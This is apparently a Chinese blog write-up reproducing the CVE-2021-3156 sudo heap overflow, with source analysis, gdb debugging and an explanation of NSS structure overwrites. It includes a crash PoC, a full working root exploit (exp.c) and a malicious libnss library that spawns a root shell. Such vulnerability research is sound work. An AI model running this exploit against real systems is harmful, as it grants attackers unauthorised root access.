CVE-2021-3156

CVE-2021-3156 sudo 提权漏洞,复现过程总结

复现环境

  • 系统:Ubuntu 20.04
  • sudo: sudo-1.8.31

源码下载:https://mirrors.ustc.edu.cn/ubuntu/pool/main/s/sudo/sudo_1.8.31.orig.tar.gz

漏洞分析

可以参照一下官方的修复方式:
https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8

找到 1.8.31 版本源码的漏洞位置如下:

//plugins/sudoers/sudoers.c
//set_cmnd()

......

   819      if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
   
......
   845
   846          /* set user_args */
   847          if (NewArgc > 1) {
   848              char *to, *from, **av;
   849              size_t size, n;
   850
   851              /* Alloc and build up user_args. */
   852              for (size = 0, av = NewArgv + 1; *av; av++)
   853                  size += strlen(*av) + 1;
   854              if (size == 0 || (user_args = malloc(size)) == NULL) {
   855                  sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
   856                  debug_return_int(-1);
   857              }
   858              if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
   859                  /*
   860                   * When running a command via a shell, the sudo front-end
   861                   * escapes potential meta chars.  We unescape non-spaces
   862                   * for sudoers matching and logging purposes.
   863                   */
   864                  for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
   865                      while (*from) {
   866                          if (from[0] == '\\' && !isspace((unsigned char)from[1]))
   867                              from++;
   868                          *to++ = *from++;
   869                      }
   870                      *to++ = ' ';
   871                  }
   872                  *--to = '\0';
   873              } else 

......

在 set_cmnd 函数,看到 866 行处,以 \ 开头下一个字符不是空格,那么就认为是转义字符,from++ 跳过字符 \,但是没有考虑到下一个字符是 \0 的情况,如果下一个字符是 \0,那么 *to = *from++ 就写入 \0 字符,下一次循环条件判断成立,则继续往 user_args 里面写入数据,而 user_args 是在 852-854 行处使用 malloc 分配的一个堆块,这就可以造成一个堆溢出的漏洞

最后一个参数后面就是环境变量的位置,所以只要最后一个参数以一个 \ 结尾,那么就可以通过控制环境变量,堆溢出写入任意数据

同时看到 819 行处,触发漏洞需要设置 MODE_RUNMODE_EDITMODE_CHECK 中的一个,858 行处,要求设置 MODE_SHELLMODE_LOGIN_SHELL

想要触发漏洞,还要先看看下面这段代码:

//src/parse_args.c
//parse_args()
......
   571      if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
   572          char **av, *cmnd = NULL;
   573          int ac = 1;
   574
   575          if (argc != 0) {
   576              /* shell -c "command" */
   577              char *src, *dst;
   578              size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
   579                  strlen(argv[argc - 1]) + 1;
   580
   581              cmnd = dst = reallocarray(NULL, cmnd_size, 2);
   582              if (cmnd == NULL)
   583                  sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
   584              if (!gc_add(GC_PTR, cmnd))
   585                  exit(1);
   586
   587              for (av = argv; *av != NULL; av++) {
   588                  for (src = *av; *src != '\0'; src++) {
   589                      /* quote potential meta characters */
   590                      if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
   591                          *dst++ = '\\';
   592                      *dst++ = *src;
   593                  }
   594                  *dst++ = ' ';
   595              }
   596              if (cmnd != dst)
   597                  dst--;  /* replace last space with a NUL */
   598              *dst = '\0';
   599
   600              ac += 2; /* -c cmnd */
   601          }

......

在处理命令行参数的时候,设置了 MODE_RUNMODE_SHELL 的情况下,会对命令行参数进行重写,把所有元字符包括 \ 都转义了,也就是单个反斜杠变成了两个反斜杠,导致后面的漏洞无法触发

总结一下:

  1. MODE_RUNMODE_SHELL 不能都设置,因为在 sudo 程序的 parse_args 函数里会对反斜杠进行转义,导致漏洞无法触发
  2. 触发漏洞需要设置 MODE_RUNMODE_EDITMODE_CHECK 中的一个,同时要设置 MODE_SHELLMODE_LOGIN_SHELL

那么 MODE_RUN 是不可以设置的,因为一旦设置 MODE_RUN,触发漏洞条件需要 MODE_SHELL,而 MODE_RUNMODE_SHELL 同时存在会导致 parse_args 对反斜杠进行转义,导致漏洞无法触发

那么就要设置 MODE_EDIT 或者 MODE_CHECK,同时不能设置 MODE_RUN

设置 MODE_EDIT 使用 -eMODE_LOGIN_SHELL 使用 -iMODE_SHELL 使用 -s,对应源码如下:

//src/parse_args.c

......
   358                  case 'e':
   359                      if (mode && mode != MODE_EDIT)
   360                          usage_excl(1);
   361                      mode = MODE_EDIT;
   362                      sudo_settings[ARG_SUDOEDIT].value = "true";
   363                      valid_flags = MODE_NONINTERACTIVE;
   364                      break;

......
   402                  case 'i':
   403                      sudo_settings[ARG_LOGIN_SHELL].value = "true";
   404                      SET(flags, MODE_LOGIN_SHELL);
   405                      break;

......
   460                  case 's':
   461                      sudo_settings[ARG_USER_SHELL].value = "true";
   462                      SET(flags, MODE_SHELL);
   463                      break;

......

MODE_CHECK 在这里设置,使用 -l

//src/parse_args.c

......
   416                  case 'l':
   417                      if (mode) {
   418                          if (mode == MODE_LIST)
   419                              SET(flags, MODE_LONG_LIST);
   420                          else
   421                              usage_excl(1);
   422                      }
   423                      mode = MODE_LIST;
   424                      valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
   425                      break;

......
   518      if (argc > 0 && mode == MODE_LIST)
   519          mode = MODE_CHECK;

......

那么有以下几种选择:

  1. -s -e
  2. -i -e
  3. -s -l
  4. -i -l

但是,-e-l,都会导致 valid_flags 的改变,最后在 532 行处,导致程序退出,所以上面的 4 种方式都无效

//src/parse_args.c

......
   127  #define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)

......
   249      int valid_flags = DEFAULT_VALID_FLAGS;

......
   532      if ((flags & valid_flags) != flags)
   533          usage(1);

......

查看源码还发现一处地方:

//src/parse_args.c

......
   268      if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
   269          progname = "sudoedit";
   270          mode = MODE_EDIT;
   271          sudo_settings[ARG_SUDOEDIT].value = "true";
   272      }

......

当程序的名字是 sudoedit 时,会设置 MODE_EDIT,而不会去修改 valid_flags,那么就可以达成漏洞利用的条件,这就是 poc 和目前已公开的 exp 都使用 sudoedit 而不适用 sudo 的原因

那么只需要用 sudoedit -s xxx,就可以设置 MODE_EDITMODE_SHELL,而不设置 MODE_RUN

调试分析

调试前准备

使用源码编译的程序进行调试,编译后创建一个链接 sudoedit 到 sudo,或者改名 sudo 为 sudoedit(ubuntu 中的 sudoedit 其实是 sudo 的一个软链接),权限改为 root,并加上 sid 权限

poc

为了更好操控 sudo 程序的环境变量,采用 execve 函数来执行 sudoedit,这里写一个 poc.c:

//poc.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_ENVP 0x1000

char *envp[MAX_ENVP];

int main(int argc, const char * const argv[]) { 
        char a1[65536];
        memset(a1, 'A', 65535);
        a1[65535] = '\x00';


        char *s_argv[] = { //命令行参数
                "sudoedit", "-s", "\\", a1, NULL
        };

        int envp_pos = 0;
        envp[envp_pos++] = NULL; //环境变量
                                                                    
        execve("/path/to/sudoedit", s_argv, envp);

        return 0;
}

调试开始

使用 sudo gdb ./poc,执行 catch exec 跟踪 execve,r 命令运行

setlocale 是 sudo 程序开头调用的函数,在这下断点,断下后 finish 即可进入 sudo 的 main 函数

entry

要注意的是,进入 main 函数后,最好删除 setlocale 的断点,以免后续的调用影响跟踪调试

使用 b 213 下断点在 213 行处:

......
212         /* Load plugins. */
213         if (!sudo_load_plugins(&policy_plugin, &io_plugins))
214             sudo_fatalx(U_("fatal error, unable to load plugins"));

......

n 命令步过,加载完 sudoers.so 库后,使用命令 b set_cmnd 在 set_cmnd 函数下断点,c 继续运行,来到断点处,并在 854 行下断点,继续运行

......
854                 if (size == 0 || (user_args = malloc(size)) == NULL) {
855                     sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856                     debug_return_int(-1);
857                 }

......

user_args 的大小为 0x10002 即 65538 ("\\" + "A" * 65535 + 2),并记录 user_args 的 chunk 地址为 0x55555558faa0

user_args_size
user_args

跟踪来到漏洞点处:

user_args

来到 870 处:

870

此时可以发现没有溢出,因为此时只复制了反斜杠字符后面的 \0,以及后面的 65535 个 A,本身 chunk 的大小是足够的

但是,for 循环继续运行,"A" * 65535 又开始继续往后覆盖,此时溢出就出现了

overwrite

可以看到,溢出把下一个 chunk 的 size 字段都改了,后面 malloc 的时候触发 abort,导致程序异常退出了

漏洞利用

此时可以知道几点:

  1. user_args 的大小可以由命令行参数控制
  2. 命令行参数中出现单个反斜杠字符结尾,则会导致堆溢出
  3. 若单个反斜杠结尾出现在最后一个命令行参数,那么溢出的内容就是紧接着的环境变量,完全可控
  4. 单个反斜杠结尾的命令行参数或者环境变量都能往 chunk 写入 \0

NSS(Name Service Switch)

目前公开的 exp 大都利用了 NSS(Name Service Switch)机制,这里简述 NSS 的机制

首先是根据 /etc/nsswitch.conf 内容(例如下面这个),初始化链式的 name_database_entry 结构体

# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd:         files systemd
group:          files systemd
shadow:         files
gshadow:        files

hosts:          files dns
networks:       files

protocols:      db files
services:       db files
ethers:         db files
rpc:            db files

netgroup:       nis

name_database_entry 结构体定义如下:

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

name 字段就是 groupshadow 这些字符串,然后以 next 字段链接起来形成链表

后面的 files systemd 是 service_user 结构体的 name 字段,定义如下:

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

需要使用服务的时候,如果库未加载,则会调用 nss_load_library 函数加载动态链接库

在 set_cmnd 函数结束后,sudoers_lookup 会调用 nss_load_library 函数,源码如下:

//glibc/nss/nsswitch.c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      /* This service has not yet been used.  Fetch the service
         library for it, creating a new one if need be.  If there
         is no service table from the file, this static variable
         holds the head of the service_library list made from the
         default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);
      if (ni->library == NULL)
        return -1;
    }
  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];
      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);
      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
        {
          /* Failed to load the library.  */
          ni->library->lib_handle = (void *) -1l;
          __set_errno (saved_errno);
        }
# ifdef USE_NSCD
      else if (is_nscd)
        {
          /* Call the init function when nscd is used.  */
          size_t initlen = (5 + strlen (ni->name)
                            + strlen ("_init") + 1);
          char init_name[initlen];
          /* Construct the init function name.  */
          __stpcpy (__stpcpy (__stpcpy (init_name,
                                        "_nss_"),
                              ni->name),
                    "_init");
          /* Find the optional init function.  */
          void (*ifct) (void (*) (size_t, struct traced_file *))
            = __libc_dlsym (ni->library->lib_handle, init_name);
          if (ifct != NULL)
            {
              void (*cb) (size_t, struct traced_file *) = nscd_init_cb;
#  ifdef PTR_DEMANGLE
              PTR_DEMANGLE (cb);
#  endif
              ifct (cb);
            }
        }
# endif
    }
  return 0;
}

最主要的是,当 ni->library->lib_handle == NULL 成立后,会执行 dlopen 加载动态链接库:

......
      char shlib_name[shlen];
      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);
      ni->library->lib_handle = __libc_dlopen (shlib_name);
   
......

前面有 ni->library == NULL 时执行 nss_new_service 返回的 library->lib_handle 就是 NULL

且 service_user 结构体刚好在堆上,只要溢出覆盖一个 service_user 结构体,伪造 name 字段为 X/Xlibrary 字段为 NULL,那么后续调用 nss_load_library 时就会调用 __libc_dlopen("libnss_X/X.so.xx") 加载自己写的动态链接库

只要动态链接库写个 constructor 函数,执行 shell,即可提权

这里有一点,大部分文章都没提到(也可能是默认大家都知道了):为什么一定要覆盖 nameX/X 的形式,而不是 X 的形式?

这可以从 dlopen 的 man 手册中找到答案:

......
       If filename is NULL, then the returned handle is for the main program.  If filename contains a slash ("/"), then it is
       interpreted as a (relative or absolute) pathname.  Otherwise, the dynamic linker searches for the  object  as  follows
       (see ld.so(8) for further details):

......

大概意思是,filename 参数只有存在 / 的时候,才会有可能被当作相对路径,没有 / 的时候,会去 PATH 等环境变量指向的地方找对应的库文件,为了方便,使用相对路径的方式,所以使用 X/X 的形式

service_user 结构体分布

gdb 上使用 search -s systemd 可以找到 service_user 等结构体

service_user

可以看到 passwd 的 name_database_entry,的 service 字段指向了一条链表,链表上是 files -> systemd 的 service_user 结构体

那么只要覆盖这两个 service_user 中的一个就可以了,覆盖后面的 service_user 可能会同时把前面的 service_user 也覆盖了,破坏了链表就不行了,所以选择覆盖前面的那个 service_user,同时不能把前面的 name_database_entry 结构体也破坏了

实际情况下,在漏洞点之前会先后从堆上分配下面这些结构体:

passwd(name_database_entry)
files(service_user)
systemd(service_user)
group(name_database_entry)
files(service_user)
systemd(service_user)
...

只要 user_args 位于 name_database_entry 和 service_user 之间,即可覆盖 service_user 而不会破坏 name_database_entry 了

堆布局

通过调试发现,在我的复现环境下,一般情况下 user_args 都位于 service_user 之后,根据目前公开的方式,利用程序开头的 setlocale 函数,对 LC_MESSAGESLC_ALL 等环境变量,都会有多次的堆块分配与释放,影响堆块布局的情况,使得 user_args 分配时,得到的刚好是 setlocale 中 free 进 tcache 的 chunk,因为 setlocale 函数的调用在 service_user 等结构体分配之前,那么 user_args 就能分布在 service_user 结构体之前

比如,环境变量使用 LC_ALL=C.UTF-8@AAAA@ 字符后面的 AAAA 将会在 setlocale 里分配 chunk 进行存储,之后会释放

调试

经过多次测试,exp 如下,下面使用这个 exp 进行一下调试,说明为什么要这么写:

//exp.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_ENVP 0x1000
#define LC_ENV1 "LC_ALL=C.UTF-8@"
#define LC_ENV2 "LC_CTYPE=C.UTF-8@"

char *envp[MAX_ENVP];

int main(int argc, const char * const argv[]) { 
        char paddingA[0x200] = { 0 };
        memset(paddingA,'A',0x190-2);
        paddingA[0x190-2] = '\\';
        char *s_argv[] = {
                "sudoedit", "-s", paddingA, NULL
        };

        int envp_pos = 0;
        for (int i = 0; i < 0xb10-0x190+1; i++){
                envp[envp_pos++] = "\\";
        }

        for (int i = 0; i < 0x30; i++) {
                envp[envp_pos++] = "\\";
        }

        envp[envp_pos++] = "x/i4oyu"; //name
        envp[envp_pos++] = "AAA";

        char *LC1 = calloc(0x1000, 1);
        strcpy(LC1, LC_ENV1);
        memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);

        /*
        char *LC2 = calloc(0x1000, 1);
        strcpy(LC2, LC_ENV2);
        memset(LC2 + sizeof(LC_ENV2) - 1, 'Y', 0x90);
        */

        envp[envp_pos++] = LC1;
        //envp[envp_pos++] = LC2;
        envp[envp_pos++] = 0;
                                                                    
        execve("/path/to/sudoedit", s_argv, envp);
        //execve("/usr/bin/sudoedit", s_argv, envp);

        return 0;
}

首先看到这里

......
        char *LC1 = calloc(0x1000, 1);
        strcpy(LC1, LC_ENV1);
        memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);

......

调试来到 user_args 分配前,查看 heap 情况,存储 0xc0 个 X 的 chunk 在这里:

heap

同时也可以看到,这个 chunk 的大小并不是 0xc0,而是比 0xc0 要大得多的 0x1a0,和参考的一些文章的说法不太一样

同时可以看到这个 0x1a0 的 chunk 位于 name_database_entry 和 service_user 之间:

user_args_chunk

注意:实际上 set_cmnd 调用后,会从 group 的 name_database_entry 开始查找 service_user 结构体进行 nss_load_library 的调用,所以图中使用的是 group 的链

exp 这里的 0x190-2 就是为了控制命令行参数的长度,使得 user_args 的分配调用 malloc(0x190) 从而分配到上面提到的 chunk:

......
        char paddingA[0x200];
        memset(paddingA,'A',0x190-2);
        paddingA[0x190-2] = '\\';
......

溢出点到要覆盖 service_user 的偏移为 +0xb10:

len

命令行参数本身有 0x190-1 长的数据复制进了 to,那么只需要连续 0xb10 - 0x190 + 1 多的反斜杠即可连续写入 \0,直到目标 service_user 结构体,再继续覆写 0x30 长度的数据,即可到达 name 字段,这就是对下面这部分代码的解释:

......
        int envp_pos = 0;
        for (int i = 0; i < 0xb10-0x190+1; i++){
                envp[envp_pos++] = "\\";
        }

        for (int i = 0; i < 0x30; i++) {
                envp[envp_pos++] = "\\";
        }

        envp[envp_pos++] = "x/i4oyu"; //name
        envp[envp_pos++] = "AAA";
   
......

这里覆盖 namex/xi4oyu,那么需要编译一个动态链接库 libnss_x/xi4oyu.so.2 ,代码如下:

//mkdir libnss_x && gcc -fPIC -shared -o 'libnss_x/i4oyu.so.2' xi4oyu.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
static void __attribute__ ((constructor)) _init(void);
 
static void _init(void) {
        printf("[!!!] pwn!\n");
        setuid(0); 
        seteuid(0); 
        setgid(0); 
        setegid(0);

        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
}

利用成功!

pwn

小结

堆布局的方式比较复杂,其中这一句:

memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);

至于 0xc0 这个值是怎么来的?本人是 从 0 开始间隔 0x10 递增,观察堆的情况,一步步地测出来的

目前公开的文章也并没有做一个很好的解释,具体怎么回事,还是得跟踪调试 setlocale 的每一次 malloc 和 free 的调用了,写得比较好的 exp 是 blasty 的 exp,其中提供了一个爆破脚本,就是为了测出这个合适的值

总结

这是我接触的第一个 CVE,漏洞原理相对还是比较简单的,从中也学到了 NSS 这个十分有意思的机制

最近在学 v8 的漏洞利用,下一次复现的就是 v8 的 CVE 了,加油!

参考